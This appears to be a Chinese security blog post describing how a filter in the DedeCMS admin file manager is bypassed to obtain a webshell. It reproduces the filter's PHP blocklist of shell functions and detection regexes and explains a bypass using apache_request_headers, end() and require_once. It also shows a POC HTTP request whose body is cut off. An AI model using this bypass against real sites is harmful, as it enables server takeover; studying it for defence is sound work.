专栏名称: 衡阳信安
船山院士网络安全团队唯一公众号,为国之安全而奋斗,为信息安全而发声!
目录
相关文章推荐
大数据文摘  ·  风投式思维:哪吒2和DeepSeek背后的共 ... ·  3 天前  
数据派THU  ·  AAAI 2025 | ... ·  10 小时前  
CDA数据分析师  ·  Deepseek爆火,CDA持证人如何确保不 ... ·  2 天前  
软件定义世界(SDX)  ·  马斯克20万块GPU炼出Grok-3,暴击D ... ·  3 天前  
百度智能云  ·  百度财报:智能云Q4同比增长26%,AI驱动 ... ·  4 天前  
51好读  ›  专栏  ›  衡阳信安

记一次最新版DeDecms 绕过层层过滤getshell过程

衡阳信安  · 公众号  ·  · 2024-09-28 00:00

正文

最近织梦也是发了最新版的,最近也是遇到了使用织梦搭建的网站

当时是进了后台,然后最后也是成功getshell了,因为各种原因,使用本地搭建的环境给大家做一次分享,仅供学习

环境搭建

只需要下载最新版的就好了,然后使用phpstudy搭建

getshell过程

后台如下

然后点击模块,文件管理处

发现可以编辑文件

正当我以为手拿把掐的时候悲剧也是发生了

存在恶意代码,看来是不能够写入木马的

我们跟进一下到waf部分

require(dirname(__FILE__)."/config.php");
CheckPurview('plus_文件管理器');
require(DEDEINC."/oxwindow.class.php");
require_once(DEDEADMIN.'/file_class.php');

// 路径限制
$filename = preg_replace("#([.]+[/]+)*#", "", $filename);

$activepath = str_replace("..", "", $activepath);
$activepath = preg_replace("#^\/{1,}#", "/", $activepath);
if($activepath == "/") $activepath = "";
if($activepath == "") $inpath = $cfg_basedir;
else $inpath = $cfg_basedir.$activepath;

// 不允许这些字符
$str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str);

global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders';
foreach (explode(",", $cfg_disable_funs) as $value) {
$value = str_replace(" ", "", $value);
if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!
{$str}
"
);
}
}

if(preg_match("#^[\s\S]+, " {$str}") == TRUE) {
if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!
{$str}
"
);
}
if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!
{$str}
"
);
}
if(preg_match("#[`][\s\S]*[`]#i", " {$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!
{$str}
"
);
}
}

可以看到waf是很多的

waf1

$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';

可以发现可以执行命令或者写入文件的函数是禁用了很多,几乎是找不到其他的函数去绕过了

$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders';

然后还发现根本不允许我们使用动态传入参数的这种方法,几乎是被禁用完了

foreach (explode(",", $cfg_disable_funs) as $value) {
$value = str_replace(" ", "", $value);
if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!
{$str}
");

}
}

这就是正则去匹配我们的黑名单

  1. 第一条正则表达式

if(preg_match("#^[\s\S]+

  • 功能 :检查字符串是否以 PHP 开始(即包含 = )。

  • 示例 :匹配字符串 = "Hello";

  1. 第二条正则表达式

if(preg_match("#[$][_0-9a-z]+[\s] [(][\s\S] [)][\s]*[;]#iU", " {$str}") == TRUE) {

  • 功能 :检查字符串中是否存在以 $ 开头的变量调用,并且后面跟着括号和分号,通常用于函数调用。

  • 示例 :匹配字符串 $varName(); $myFunction($arg1, $arg2);

  1. 第三条正则表达式

    if(preg_match("#[@][$][_0-9a-z]+[\s] [(][\s\S] [)]#iU", " {$str}") == TRUE) {

  • 功能 :检查字符串中是否存在以 @ 开头的错误抑制符,后面跟着以 $ 开头的变量调用。

  • 示例 :匹配字符串 @$varName(); @myFunction($arg1);

  1. 第四条正则表达式

if(preg_match("#[ ][\s\S]*[ ]#i", " {$str}") == TRUE) {

  • 功能 :检查字符串中是否存在反引号(`)包围的内容,通常用于命令执行。

  • 示例 :匹配字符串 ls -la system('id')

发现限制还是非常严格的

首先是不能使用php的动态函数了

比如这种


$a="system";
$a("whoami");

然后还不能使用我们的动态传入参数,导致webshell很能写入

之后思考想着可以使用

getallheaders

getallheaders(): array

获取当前请求的所有请求头信息。

此函数是 apache_request_headers()的别名。请阅读 apache_request_headers() 文档获得更多信息。

然后发现getallheaders被禁用,但是翻阅我们的php官方的手册发现

此函数是 apache_request_headers()的别名

apache_request_headers(): array

获取当前请求的所有请求头信息。可在 Apache、FastCGI、CLI、FPM 模式下运行。

而我们的服务就是Apache搭建的

然后还需要配合我们的end函数

end(array|object &$array ): mixed

end() array 的内部指针移动到最后一个单元并返回其值。

传参的问题是解决了,但是如何执行命令任然没有解决,最后思考了,发现可以使用包含,然后配合为协议

require_once并没有被禁用

require_once 表达式和 require 表达式完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。

保存成功

POC

POST /dede/file_manage_control.php HTTP/1.1
Host: dedecms:5135
Content-Length: 161
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dedecms:5135
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://dedecms:5135/dede/file_manage_view.php?fmdo=edit&filename=index.php&activepath=
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9






请到「今天看啥」查看全文